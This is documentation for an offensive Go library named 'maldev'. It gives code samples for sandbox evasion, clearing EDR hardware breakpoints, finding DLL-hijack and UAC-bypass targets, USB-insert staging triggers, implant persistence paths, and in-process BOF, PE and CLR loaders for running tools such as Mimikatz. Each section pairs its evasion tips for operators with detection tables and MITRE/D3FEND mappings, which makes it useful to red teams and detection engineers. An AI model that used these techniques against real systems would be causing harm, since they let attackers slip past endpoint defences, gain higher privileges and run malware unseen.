Pipeline — sandbox bail + timing
import (
"context"
"os"
"github.com/oioio-space/maldev/recon/sandbox"
"github.com/oioio-space/maldev/recon/timing"
)
if hit, _, _ := sandbox.New(sandbox.DefaultConfig()).IsSandboxed(context.Background()); hit {
os.Exit(0)
}
timing.BusyWait(30 * time.Second) // catch sandboxes that bypassed dimension checks
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| 100% CPU on one core for sustained periods | Behavioural EDR rarely flags; some hypervisor-aware sandboxes do |
| Process at 100% CPU then transitions to network I/O | Pattern-matching EDR may correlate |
time.Now() syscall storms | Per-call telemetry — invisible at user-mode |
D3FEND counters:
- D3-EI — sandbox design itself.
Hardening for the operator:
- Use
BusyWaitPrimalityoverBusyWaitfor less-fingerprintable CPU pattern. - Stagger BusyWait calls between meaningful operations rather than one giant block at startup — looks more like a long-running workload, less like a sandbox-detection sentinel.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | full — CPU-burn defeats Sleep hooks | D3-EI |
Limitations
- CPU spike. 100% CPU on a target with idle expectations is itself a tell; calibrate duration against target's expected workload.
- Doesn't help against real targets. A 30-second startup delay is user-visible on real targets — only acceptable for background services / persistence binaries.
- No defeat for live VM emulation. Sandboxes running on bare-metal at full speed can still capture full behaviour; CPU-burn just prevents the trivial Sleep-hook bypass.
See also
- Sandbox orchestrator — multi-factor evasion.
evasion/sleepmask— pair to hide payload at-rest during BusyWaits.- Operator path.
- Detection eng path.
Hardware breakpoint detection & clear
TL;DR
EDRs (notably CrowdStrike Falcon) place hardware breakpoints on
NT function prologues using DR0-DR3 — invisible to the classic
ntdll-on-disk-unhook pass. Detect
reads DR0-DR3 across every thread and returns those pointing
into ntdll; ClearAll zeros them via
SetThreadContext.
Primer
Hardware debug registers DR0-DR3 hold up to four breakpoint
addresses; DR6 is the status register, DR7 controls
enable/condition/length. The kernel maintains DR state
per-thread; user-mode reads/writes via GetThreadContext /
SetThreadContext.
EDRs use HWBPs to monitor Nt* calls without modifying ntdll's
.text. A breakpoint set at NtOpenProcess+0 triggers a
#DB exception on entry that the EDR's vectored exception
handler intercepts. Because .text is unchanged, classic
"unhook ntdll from disk" defeats inline hooks but does not
defeat HWBPs.
recon/hwbp reads DR0-DR3 across every thread in the current
process, identifies breakpoints pointing into ntdll, and
clears them.
How It Works
flowchart TD
START["Walk threads in process"] --> SUSP["SuspendThread"]
SUSP --> CTX["GetThreadContext<br>CONTEXT_DEBUG_REGISTERS"]
CTX --> DR{"DR0-DR3 set?"}
DR -- yes --> RESOLVE["resolve address to module"]
RESOLVE --> NTDLL{"in ntdll?"}
NTDLL -- yes --> COLLECT["Breakpoint TID Register Address"]
NTDLL -- no --> SKIP["skip"]
DR -- no --> NEXT["next thread"]
COLLECT --> NEXT
NEXT --> RESUME["ResumeThread"]
RESUME --> NEXT2["continue walk"]
ClearAll walks the same threads, zeros DR0-DR3 + DR7 via
SetThreadContext, and resumes.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/recon/hwbp is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — detect + report
import "github.com/oioio-space/maldev/recon/hwbp"
bps, _ := hwbp.Detect()
for _, bp := range bps {
fmt.Printf("DR%d → %x in %s (TID %d)\n",
bp.Register, bp.Address, bp.Module, bp.TID)
}
Composed — clear if any found
if bps, _ := hwbp.Detect(); len(bps) > 0 {
if cleared, err := hwbp.ClearAll(); err == nil {
fmt.Printf("cleared %d HWBP(s)\n", cleared)
}
}
Advanced — chain with ntdll unhook
Full integrity restore: clear HWBPs + unhook inline hooks.
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/recon/hwbp"
)
techs := []evasion.Technique{
hwbp.Technique(), // clear DR0-DR3
unhook.Classic("NtOpenProcess"), // unhook inline
unhook.Classic("NtAllocateVirtualMemory"),
// ...
}
_ = evasion.ApplyAll(techs, nil)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SetThreadContext(CONTEXT_DEBUG_REGISTERS) | EDRs that hook this API see the clear; rare but not unknown |
Sustained SuspendThread / ResumeThread cycles | Behavioural anomaly on idle processes |
| ETW Microsoft-Windows-Threat-Intelligence DR-register-write events | Win11 22H2+ ETW-Ti provider; few SOCs subscribe |
| HWBPs cleared while EDR expects them set | EDR self-checks may detect (rare in production) |
D3FEND counters:
- D3-PSA — debug-register manipulation telemetry.
- D3-SCA — kernel-side syscall observation unaffected by HWBP clear.
Hardening for the operator:
- Pair with
evasion/unhookin a singleevasion.ApplyAllchain to clear HWBPs + inline hooks together. - Use
win/syscalldirect/indirect syscalls even after clearing — defeats both inline + HWBP regardless of clear success. - Re-check periodically — long-running implants may see EDR re-set HWBPs on thread creation.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1622 | Debugger Evasion | full — DR0-DR3 inspection + clear | D3-PSA |
| T1027.005 | Indicator Removal from Tools | partial — neutralises EDR HWBPs | D3-PSA |
Limitations
- Per-process, per-thread. New threads created after
ClearAllmay receive fresh HWBPs from the EDR. - Kernel-set HWBPs untouchable. Some EDRs use kernel callbacks to set HWBPs on every thread creation; clearing user-mode just defers the problem to the next new thread.
- Detection requires module attribution.
Detectonly reports breakpoints in ntdll; HWBPs in other modules (kernelbase, user32) are missed unless usingDetectAll. - Wow64 inheritance. 32-bit threads under WoW64 use a separate DR context; this package targets the native context.
- Thread suspension visible. SuspendThread is itself monitored by some EDRs.
See also
evasion/unhook— pair to also clear inline hooks.win/syscall— bypass both inline + HWBP regardless.- Operator path.
- Detection eng path.
DLL search-order hijack discovery
TL;DR
You want to find places where you (current user) can drop a malicious DLL such that a privileged target picks it up next time it loads. Five scanner surfaces, each catching a different victim class:
| Surface | Catches | Reward when hit |
|---|---|---|
ScanServices | SYSTEM-running services with writable binary dir + missing imported DLL | SYSTEM exec on next service start |
ScanProcesses | Live processes with the same writable-search-path-+-missing-DLL pattern | Code exec at the process's privilege level on next launch |
ScanScheduledTasks | Tasks registered via COM ITaskService | Exec on next task trigger (often runs as SYSTEM or stored creds) |
ScanAutoElevate | System32 .exe with autoElevate=true manifest (fodhelper, sdclt, eventvwr, …) | UAC bypass — these silently elevate without prompt |
ScanPATHWritable | Writable directories in system or user %PATH% | SYSTEM exec whenever a higher-integrity process makes an unqualified CreateProcess call — cf. itm4n's MareBackup chain (compattelrunner.exe → acmigration.dll → CreateProcessW(L"powershell.exe", …)) |
Or run all five in one call:
| You want… | Use | Notes |
|---|---|---|
| Find every opportunity across all 4 surfaces | ScanAll | Returns combined []Opportunity |
| Score what you found by integrity gain | Rank | Sorts SYSTEM > High-IL > Medium > current. Use to pick the best target first. |
| Prove a candidate actually works | Validate | Drops a canary DLL + triggers victim load + checks if the canary fired. Destructive — only run on opps you intend to use. |
What this DOES achieve:
- Programmatic discovery — no more eyeballing Process Monitor
for
NAME NOT FOUNDevents. - Cross-surface coverage — services + processes + tasks + autoElevate UAC bypass candidates in one pass.
- Stealth scan — pass
ScanOpts.Opener(stealthopen.Opener) so PE reads bypass path-keyed EDR file hooks.
What this does NOT achieve:
- Doesn't write the DLL — that's the operator's job. Pair
with
pe/dllproxy.Generateto emit the forwarder/payload DLL andos.WriteFileto drop it. - Doesn't trigger the victim —
Validatedoes for testing, but in real ops you wait for a natural load (service restart, scheduled task fire) or trigger via your own action. KnownDLLsare excluded — DLLs inHKLM\…\Session Manager\KnownDLLsare early-load-mapped from\KnownDlls\and bypass search order entirely. Not hijackable; this package skips them.- ApiSet contracts are excluded — names matching
api-ms-win-*.dllorext-ms-win-*.dllare resolved by the loader via the in-PEB ApiSet schema and never read from disk. Some Win10/11 builds ship physical stubs inSystem32\downlevel\which would otherwise trip the file-existence heuristic; the filter prevents false positives. - Doesn't catch service-trigger-launched binaries — hosted services that load DLLs only when a specific event fires. The IAT walk catches static imports; LoadLibrary at runtime won't show up.
Primer — vocabulary
Six terms recur on this page:
DLL search order — Windows's resolution algorithm when a program calls
LoadLibrary("xyz.dll")without a full path: application directory first, thenSystem32, thenSysWOW64, thenWindows, then current dir, thenPATH. If the application directory is writable by you andxyz.dlldoesn't exist there, you can drop one and it'll be loaded first.IAT (Import Address Table) — the list of
(DLL, Function)pairs a PE statically depends on.dllhijackwalks it for every scanned binary; missing imports (DLL the IAT names but isn't on disk in any search-order location) are the prime hijack candidates.autoElevate=true — manifest attribute on Windows binaries Microsoft has whitelisted to elevate without UAC prompt. fodhelper.exe, sdclt.exe, eventvwr.exe, etc. A DLL hijack against one of these = silent UAC bypass.
Opportunity— record returned by every scanner. Carries the writable hijack path (where you drop your DLL), the resolved legitimate DLL location (the donor for export forwarding), the victim binary + integrity level, and metadata for ranking.Integrity level — Windows's process trust hierarchy: Low (sandboxed apps), Medium (default user), High (elevated user), System (services, kernel-adjacent).
Ranksorts opportunities by the gain you'd get hijacking them — System target from a Medium implant beats Medium-from-Medium.
KnownDLLs— registry list atHKLM\System\CurrentControlSet\Control\Session Manager\KnownDLLs. Windows pre-maps these from\KnownDlls\object directory at boot; subsequentLoadLibraryfor them never touches disk and bypasses search order entirely. Not hijackable.
How It Works
flowchart LR
subgraph scan [Scanners]
SVC["ScanServices<br>SCM enum + IAT walk"]
PROC["ScanProcesses<br>Toolhelp32 + loaded modules"]
TASK["ScanScheduledTasks<br>COM ITaskService"]
AE["ScanAutoElevate<br>System32 manifest filter"]
end
SVC --> ALL["ScanAll returns Opportunity slice"]
PROC --> ALL
TASK --> ALL
AE --> ALL
ALL --> RANK["Rank<br>integrity-gain score"]
RANK --> VAL["Validate<br>drop canary + trigger"]
VAL --> CONF["ValidationResult<br>confirmed hijack"]
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/recon/dllhijack is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — list ranked opportunities
import "github.com/oioio-space/maldev/recon/dllhijack"
opps, _ := dllhijack.ScanAll()
for _, o := range dllhijack.Rank(opps)[:5] {
fmt.Printf("%s %s → %s\n", o.Kind, o.DisplayName, o.HijackedPath)
}
Composed — UAC-bypass scan only
ae, _ := dllhijack.ScanAutoElevate()
for _, o := range ae {
fmt.Printf("UAC bypass: drop %s in %s\n", o.ResolvedDLL, o.HijackedPath)
}
PickBestWritable
One-shot variant of ScanAll + Rank + filter. Returns the
highest-scoring writable Opportunity, preferring those that also
carry IntegrityGain or AutoElevate; falls back to any
writable; returns ErrNoWritableOpportunity when nothing is
reachable.
import (
"errors"
"github.com/oioio-space/maldev/recon/dllhijack"
)
best, err := dllhijack.PickBestWritable()
switch {
case errors.Is(err, dllhijack.ErrNoWritableOpportunity):
log.Fatal("no writable hijack target on this host")
case err != nil:
log.Fatal(err) // scan itself failed (non-Windows, etc.)
}
fmt.Printf("%s %s → %s (integrity-gain=%v)\n",
best.Kind, best.DisplayName, best.HijackedPath, best.IntegrityGain)
Live end-to-end example: examples/privesc-dll-hijack's -discover path
runs PickBestWritable, plants the packed DLL at best.HijackedPath,
triggers the victim, validates marker — full chain in 40 LOC.
See examples/privesc-dll-hijack/README.md.
ScanPATHWritable — MareBackup-class precondition
Surfaces every writable directory in the system or user %PATH%.
The classic MareBackup PrivEsc pivot
(itm4n)
relies on a SYSTEM-context scheduled task whose call chain ends
in an unqualified CreateProcessW(L"powershell.exe", …) —
the EXE search reaches %PATH% before System32. This scanner
answers the prerequisite: "can my token write to any
system-PATH dir?".
opps, _ := dllhijack.ScanPATHWritable()
for _, o := range opps {
fmt.Printf("%s: %s (integrity-gain=%v)\n",
o.Kind, o.SearchDir, o.IntegrityGain)
}
Unlike the IAT-based scanners this one ignores ScanOpts.Opener
(no PE reads) and reports BinaryPath == "" — the victim is
generic (any higher-integrity unqualified CreateProcess).
Advanced — validate before deploying
canary, _ := os.ReadFile("canary.dll") // emits %ProgramData%\maldev-canary-*.marker on load
res, err := dllhijack.Validate(opp, canary, dllhijack.ValidateOpts{
Timeout: 30 * time.Second,
})
if err == nil && res.Triggered {
// confirmed; safe to drop the real payload
}
The caller must invoke the victim binary out-of-band (e.g. restart the service that owns the hijack target) so the canary DLL is actually loaded and emits its marker.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Write to service directory by non-installer process | EDR file-write telemetry — high-fidelity |
New DLL in %PROGRAMFILES%\… written by user-context process | Defender ASR rule |
| DLL load from non-System32 path with System32 binary name | EDR module-load rule |
| AutoElevate exe spawning child from unusual path | Defender for Endpoint MsSense flags |
| Sysmon Event 7 (image loaded) for unsigned DLL in System32-adjacent path | Universal high-fidelity |
D3FEND counters:
Hardening for the operator:
- Drop the hijack DLL with a Microsoft Authenticode signature
via
pe/cert.Copy. - Match
VERSIONINFOto the legitimate DLL viape/masquerade. - Validate before deploying —
Validateruns the canary in isolation, no implant exposure. - Prefer
ScanAutoElevateresults: UAC bypass is the highest integrity-gain category.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | full | D3-EAL, D3-FCA |
| T1548.002 | Abuse Elevation Control Mechanism: Bypass UAC | partial — autoElevate hijacks | D3-EAL |
Limitations
- Static IAT only by default. Runtime
LoadLibrarycalls not in the IAT are missed unlessScanProcesseshappens to catch them via Toolhelp32. - Validate may detonate.
Validateactually runs the canary in the target's context — operators must understand the side-effects of triggering the victim. - Admin scans.
ScanServicesenumerates SCM-registered services; some entries return ACCESS_DENIED without admin. - AutoElevate fragility. Microsoft has been silently hardening autoElevate binaries — the canonical fodhelper bypass is patched on Win11; verify per build.
See also
pe/dllproxy— pure-Go forwarder DLL emitter; the natural payload generator for the Opportunities discovered here.pe/imports— sibling import-table walker.pe/cert— sign the hijack DLL.pe/masquerade— clone target DLL identity.persistence/service— alternative SYSTEM persistence.- Operator path.
- Detection eng path.
Drive enumeration & monitoring
TL;DR
You want to know what drives are mounted on the host (USB keys, SMB shares, fixed disks) and react when new ones appear. Two operations:
| You want… | Use | Returns |
|---|---|---|
| List every mounted drive right now | LogicalDriveLetters + New | []string letters, then per-letter *Info (type + label + serial + GUID) |
| React when a new drive mounts (USB insert, share map) | NewWatcher + Watch | Channel of Event{Type: EventAdded/EventRemoved, Info: *Info} |
Common operational uses:
- Initial recon at startup — log every mounted drive's type + label so the operator picks staging targets.
- USB-insert trigger — long-running implant watches for
TypeRemovableadd events, exfiltrates payload to air-gapped media. - SMB-share discovery —
TypeRemotedrives indicate the host is mapped to a network resource (lateral-movement hint).
What this DOES NOT do:
- Doesn't read drive contents — list/watch only. Use
os.ReadDirorevasion/stealthopenfor the path-free file access. - Doesn't enumerate UNC paths or unmounted shares — only
letters that have a
DRIVE_*mapping. UseWNetEnumResourceupstream (not in this package) to find shares before they're mapped. - Polling-based watch —
Watchersnapshots everyInterval(default 200 ms) and diffs. NoWM_DEVICECHANGEnotification path; trade-off: works without a hidden window, costs a thread.
Primer — vocabulary
Five terms recur on this page:
Drive letter — single-letter root (
A:-Z:) the Win32 API uses to address mounted volumes. Not stable across reboots (especially USB keys); useGUIDfor cross-reboot identity.Drive type — Windows's classification:
Fixed(HDD/SSD on-machine),Removable(USB / floppy),Remote(SMB share),CDROM,RAMDisk,NoRootDir(mount point with no media),Unknown. Returned byGetDriveTypeW.Volume GUID —
\\?\Volume{...}\form. Stable identifier across reboots, mount-point changes, and letter reassignments. Use this when you need to recognise the same USB key across sessions; the letter alone changes.Device path — kernel-level name like
\Device\HarddiskVolumeN. Used by drivers and minifilters, rarely directly by user-mode code. Surfaced for completeness — most callers wantLetterorGUID.Snapshot polling — the watcher's mechanism: every
Intervalit callsLogicalDriveLetters, builds a fresh snapshot, diffs against the previous, emits add/remove events. No system event subscription required.
How It Works
flowchart LR
GLD[GetLogicalDrives<br>letter bitmask] --> LET[A: B: C: …]
LET --> TYPE[GetDriveTypeW<br>per-letter classification]
LET --> VOL[GetVolumeInformationW<br>label + serial + FS]
TYPE --> INFO[Info<br>Letter / Type / Volume]
VOL --> INFO
INFO --> WATCH[Watcher<br>poll snapshot diff]
WATCH --> EVT[Event<br>EventAdded / EventRemoved]
Watcher polling is configurable (default 200 ms). Snapshots
are diffed; new entries emit EventAdded, removed entries
emit EventRemoved. The FilterFunc lets callers narrow to
e.g. TypeRemovable only.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/recon/drive is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — single-drive lookup
import "github.com/oioio-space/maldev/recon/drive"
d, _ := drive.New("C:")
fmt.Printf("%s %s\n", d.Letter, d.Type)
Composed — list all removables
letters, _ := drive.LogicalDriveLetters()
for _, l := range letters {
if drive.TypeOf(l+`\`) == drive.TypeRemovable {
info, _ := drive.New(l)
fmt.Println(info.Letter, info.Volume.Label)
}
}
Advanced — USB-insert trigger (polling)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
w := drive.NewWatcher(ctx, func(d *drive.Info) bool {
return d.Type == drive.TypeRemovable
})
ch, _ := w.Watch(500 * time.Millisecond)
for ev := range ch {
if ev.Kind == drive.EventAdded {
// stage data on the inserted USB
stageData(ev.Drive.Letter)
}
}
Advanced — event-driven (WM_DEVICECHANGE)
Same use-case, zero-CPU at idle. Requires an interactive
session — use the polling variant on services / SYSTEM contexts
where WM_DEVICECHANGE doesn't broadcast.
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
w := drive.NewWatcher(ctx, func(d *drive.Info) bool {
return d.Type == drive.TypeRemovable
})
ch, err := w.WatchEvents(4) // buffer 4 — USB hub re-enum bursts
if err != nil {
return err // RegisterClassExW / CreateWindowExW failure
}
for ev := range ch {
if ev.Kind == drive.EventAdded {
stageData(ev.Drive.Letter)
}
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
GetLogicalDrives polling | Universal API — invisible at user-mode |
| Sustained 200 ms polling on idle process | Behavioural EDR may flag CPU patterns; raise interval |
| Subsequent file writes to removable media | EDR file-write telemetry — high-fidelity for sensitive paths |
D3FEND counters:
- D3-FCA — DLP scans on writes to removable media.
Hardening for the operator:
- Raise watch interval (1-2 s) on idle hosts.
- Don't write to removable media while polling — the correlation is the high-fidelity signal.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1120 | Peripheral Device Discovery | full | D3-FCA |
| T1083 | File and Directory Discovery | partial — drive enumeration is a sibling primitive | D3-FCA |
Limitations
- Two watcher modes, pick per session shape.
Watch(interval)polls and works headless / in services / under SYSTEM (any context with no message broadcast).WatchEvents(buffer)usesWM_DEVICECHANGEand needs an interactive session — service / SYSTEM contexts get no broadcast. Both modes share the sameSnapshot+ diff machinery, so swapping is one line. WatchEventsrequires an OS-thread-locked goroutine. The Win32 message pump cannot migrate threads, so the pump goroutineruntime.LockOSThreads for its entire lifetime. This adds one OS thread to the implant for the duration of the watcher.WatchEventsregisters a window class. The class (MaldevDriveWatcher) is a uint atom in the per-process user-atom table — invisible toEnumWindowsbut discoverable by a debugger walking atom tables.- Volume serial may be 0. Some virtual drives (RAM disks, some VPN drives) report serial 0.
- Network drives cached. Mapped network drives that drop
off may take several poll cycles to surface as
EventRemovedunderWatch.WatchEventsfires onWM_DEVICECHANGE, which DOES broadcast network-drive arrival / removal — better latency on this class. - Windows only. No Linux equivalent in this package; use
inotify/udevdirectly.
See also
recon/folder— sibling Windows special-folder resolution.recon/network— sibling network-interface enumeration (a UNC\\server\share"drive" is a network resource).- Operator path.
- Detection eng path.
Windows special-folder paths
TL;DR
Resolve Windows special folder paths (Desktop, AppData,
Startup, Program Files, …) via SHGetSpecialFolderPathW. Used
by persistence/startup for StartUp-folder paths, by
credentials/lsassdump for %SystemRoot%\System32\ntoskrnl.exe,
and by any payload that needs a per-user / per-machine
well-known path.
Primer
Windows uses CSIDL (Constant Special ID List) values to
identify well-known folders abstractly. SHGetSpecialFolderPathW
takes a CSIDL constant and returns the resolved filesystem path,
handling per-user / per-machine differences and folder
redirection in domain environments transparently.
The function is technically deprecated in favor of
SHGetKnownFolderPath (Vista+, KNOWNFOLDERID enum), but the
older API remains widely supported and avoids COM
initialization overhead.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/recon/folder is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — modern KNOWNFOLDERID
import (
"github.com/oioio-space/maldev/recon/folder"
"golang.org/x/sys/windows"
)
appdata, _ := folder.GetKnown(windows.FOLDERID_RoamingAppData, 0)
downloads, _ := folder.GetKnown(windows.FOLDERID_Downloads, 0)
system, _ := folder.GetKnown(windows.FOLDERID_System, 0)
// Force creation (KFF_CREATE) when staging a per-user drop directory:
stage, _ := folder.GetKnown(windows.FOLDERID_LocalAppData, windows.KF_FLAG_CREATE)
Simple — legacy CSIDL
appdata := folder.Get(folder.CSIDL_APPDATA, false)
startup := folder.Get(folder.CSIDL_STARTUP, false)
system := folder.Get(folder.CSIDL_SYSTEM, false)
Composed — feed persistence
import (
"path/filepath"
"github.com/oioio-space/maldev/recon/folder"
)
implant := filepath.Join(
folder.Get(folder.CSIDL_LOCAL_APPDATA, false),
"Microsoft", "OneDrive", "Update", "winupdate.exe",
)
Advanced — resolve ntoskrnl path for kernel-driver work
ntos := filepath.Join(
folder.Get(folder.CSIDL_SYSTEM, false),
"ntoskrnl.exe",
)
// feeds credentials/lsassdump.DiscoverProtectionOffset(ntos, opener)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SHGetSpecialFolderPathW calls | Universal Win32 API — invisible |
| Subsequent file writes to resolved paths | EDR file-write telemetry; flag depends on the path |
D3FEND counters: none specific — primitive itself is universally legitimate.
Hardening: none — the call is invisible. Hardening is at the consumer (the writes the path drives).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1083 | File and Directory Discovery | full | — |
Limitations
- CSIDL is the legacy path. Microsoft recommends
KNOWNFOLDERID for new code. The package now ships both:
use
GetKnownfor new callers;Getstays for backwards compatibility. KNOWNFOLDERID also exposes folders the legacy CSIDL set cannot resolve (FOLDERID_Downloads, third-party Shell extensions). GetKnownreturns API-allocated PWSTR. The wrapper frees it viaCoTaskMemFreeon every call — never returns a borrowed buffer the caller must clean up.- MAX_PATH cap on
Getonly. The legacy path truncates paths longer than 260 chars (Get);GetKnownis uncapped. - Some virtual folders return empty.
CSIDL_NETWORK,CSIDL_PRINTERS, and similar non-filesystem virtual folders return empty strings. - Folder redirection is opaque. Domain-joined hosts with redirected user folders return the redirected (network) path, not the local cached one — operators relying on local-only paths must validate.
See also
persistence/startup— primary consumer (StartUp folder).credentials/lsassdump— consumer (System32 path resolution).recon/drive— sibling drive enumeration.- Operator path.
- Detection eng path.
IP address & local-network detection
TL;DR
Cross-platform IP enumeration (InterfaceIPs)
and local-address detection (IsLocal).
Used to fingerprint sandboxes (looped-back /29 networks),
source-aware C2 (avoid beaconing the same IP), and "is this
hostname us?" checks.
Primer
InterfaceIPs walks net.Interfaces + each interface's
Addrs — same surface every Go network tool uses. Returns a
flat []net.IP covering loopback + physical + virtual + VPN
adapters.
IsLocal decides whether a given input — IP literal, FQDN, or
hostname — resolves to one of the host's own interfaces. DNS
resolution runs if the input isn't already an IP literal.
Used for "is this C2 endpoint actually our own host (sandbox
hairpinning)?" probes.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/recon/network is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — list interface IPs
import "github.com/oioio-space/maldev/recon/network"
ips, _ := network.InterfaceIPs()
for _, ip := range ips {
fmt.Println(ip.String())
}
Composed — avoid C2 self-target
ok, err := network.IsLocal("c2.example.com")
if err == nil && ok {
// C2 host resolves to our own IP — sandbox hairpin trick;
// bail out.
return
}
Advanced — sandbox fingerprint
Sandboxes commonly run on /29 (8 host) or /30 networks
with predictable gateway patterns. Combined with recon/sandbox
this is one indicator among many.
ips, _ := network.InterfaceIPs()
for _, ip := range ips {
if ip.IsLoopback() {
continue
}
// narrow nets / private 10.0.0.x are common in sandboxes —
// calibrate to the target environment
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
net.Interfaces walks | Universal Go runtime call — invisible |
DNS lookups for IsLocal inputs | DNS telemetry sees the query; benign domain looks fine |
| Resolution failure on uncommon TLDs | Sandbox sinkholes resolve everything; real DNS NXDOMAINs |
D3FEND counters: none specific.
Hardening for the operator: avoid resolving the implant's
own C2 domain via IsLocal — the DNS query itself is a
fingerprint.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1016 | System Network Configuration Discovery | full | — |
Limitations
- No interface metadata beyond IP. MAC, MTU, link state
are out of scope; use
net.Interfacesdirectly. - DNS overhead.
IsLocalon a hostname triggers DNS resolution; cache the result for hot paths. - No IPv6 hairpin awareness.
IsLocalworks on IPv6 literals but does not normalise scopes; link-local addresses may behave unexpectedly.
See also
recon/sandbox— multi-factor environment detection.c2/transport— consumer for source-IP-aware callback profiles.- Operator path.
- Detection eng path.
In-process runtimes
In-process loaders that execute foreign code (BOFs, .NET assemblies, full Windows PEs) without spawning child processes. The implant becomes its own post-exploitation runtime — useful when child-process creation is heavily monitored.
Where to start (novice path):
bof— load a Cobalt-Strike-style BOF (small custom C-compiled gadget) in-process. Cheapest in-process post-ex runtime.pe— run a full Windows EXE or DLL in-process via the embedded No-Consolation BOF, capture its stdout. Drop-in replacement forCreateProcesswhen operator tools ship as.exe.clr— host the .NET CLR in-process to run Mimikatz / Seatbelt / SharpHound assemblies without spawningpowershell.exeor dropping.exeto disk.All three avoid child-process creation. Pair with
evasion/presetso the runtime calls don't tip AMSI / ETW.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
runtime/bof | bof-loader.md | quiet | Beacon Object File / COFF loader for in-memory x64 object-file execution |
runtime/pe | pe-loader.md | moderate | Full Windows EXE / DLL execution in-process via embedded No-Consolation BOF |
runtime/clr | clr.md | moderate | In-process .NET CLR hosting via ICLRMetaHost / ICorRuntimeHost |
Quick decision tree
| You want to… | Use |
|---|---|
| …run a small custom C-compiled gadget without dropping an EXE | runtime/bof |
| …run a Windows EXE (Mimikatz, Rubeus, sysinternals) in-process | runtime/pe |
| …run a .NET assembly (Mimikatz, Seatbelt, SharpHound) in-process | runtime/clr |
| …drop a managed assembly to disk and run it | not this area — see Donut via pe/srdi |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | runtime/bof (in-process gadget runtime), runtime/pe (in-process EXE) | D3-PSA |
| T1620 | Reflective Code Loading | runtime/clr, runtime/pe | D3-PMA, D3-PSA |
See also
BOF (Beacon Object File) loader
TL;DR
You have a .o file (compiled C object) — typically a public
BOF from TrustedSec / Outflank / FortyNorth (whoami, situational
awareness, file ops). You want to run it inside your implant
without spawning a child process. This package loads + executes
the COFF in memory.
| You want to… | Use | Notes |
|---|---|---|
| Run a BOF from disk | Run | Loads .o, parses COFF, resolves Beacon API, executes |
| Run a BOF from memory | RunBytes | When the BOF was decrypted in-process and never landed on disk |
Pass arguments to the BOF (parsed via BeaconData*) | Config.Args | Variadic — the BOF's BeaconDataInt / BeaconDataPtr etc. consume them |
What this DOES achieve:
- Public BOFs (TrustedSec/CS-Situational-Awareness-BOF, TrustedSec/CS-Remote-OPs-BOF, Outflank/C2-Tool-Collection) run unmodified.
- Beacon API stubs implemented in Go — no Cobalt Strike needed on the operator side.
- Dynamic imports (
KERNEL32,ADVAPI32, …) resolve through PEB + ROR13 hash, so the BOF's import table doesn't appear as plaintext strings.
What this DOES NOT achieve (out of the box):
- No ARM64. x86 and x64 are both supported (x86 via the
cross-process loader under
-tags=bof_x86_loader, see below). - In-process by default — crash in the BOF kills the implant.
The default
Executepath runs the BOF on the host's OS thread with no isolation. Opt in toSetSacrificialThreadto spawn a dedicated thread with a VEH that turns BOF-mapping faults into a recoverable Goerror. - AMSI / ETW telemetry from the BOF still fires — pair
with
evasion/preset.StealthbeforeRun.
Primer
A BOF is a relocatable COFF (.o) object compiled by MSVC /
MinGW. The format is the same as Linux's .o but for Windows
PE-style relocations. BOFs were popularised by Cobalt Strike's
inline-execute command — a tactical execution primitive that
runs a small piece of native code inside the implant's process
without spawning a fresh process or writing a PE to disk.
Use cases:
- Run small Windows-API-heavy snippets (token enum, share enum, share scan) that don't need a full PE infrastructure.
- Distribute compiled techniques as a
.oartefact rather than a full implant. - Compose with the implant's runtime — the BOF runs in the caller's address space, so it can interact with implant state directly.
How It Works
flowchart LR
INPUT[BOF .o bytes] --> PARSE[parse COFF<br>header + sections]
PARSE --> ALLOC[VirtualAlloc RW<br>copy every section w/ raw data]
ALLOC --> RELOC[apply relocations<br>ADDR64 / ADDR32NB / REL32]
RELOC --> IMP[resolve __imp_*<br>PEB walk + ROR13]
IMP --> FLIP[VirtualProtect<br>exec sections → RX]
FLIP --> SEH[RtlAddFunctionTable<br>register .pdata]
SEH --> SYM[resolve entry symbol<br>from COFF symtab]
SYM --> EXEC[call entry<br>inline OR sacrificial thread]
EXEC --> OUT[capture output<br>BeaconPrintf / BeaconOutput]
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/runtime/bof is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — load + execute
import (
"os"
"github.com/oioio-space/maldev/runtime/bof"
)
data, _ := os.ReadFile("whoami.o")
b, err := bof.Load(data)
if err != nil {
return
}
defer b.Close()
output, _ := b.Execute(nil)
fmt.Println(string(output))
Shorter — one-shot helpers (v0.156.0+)
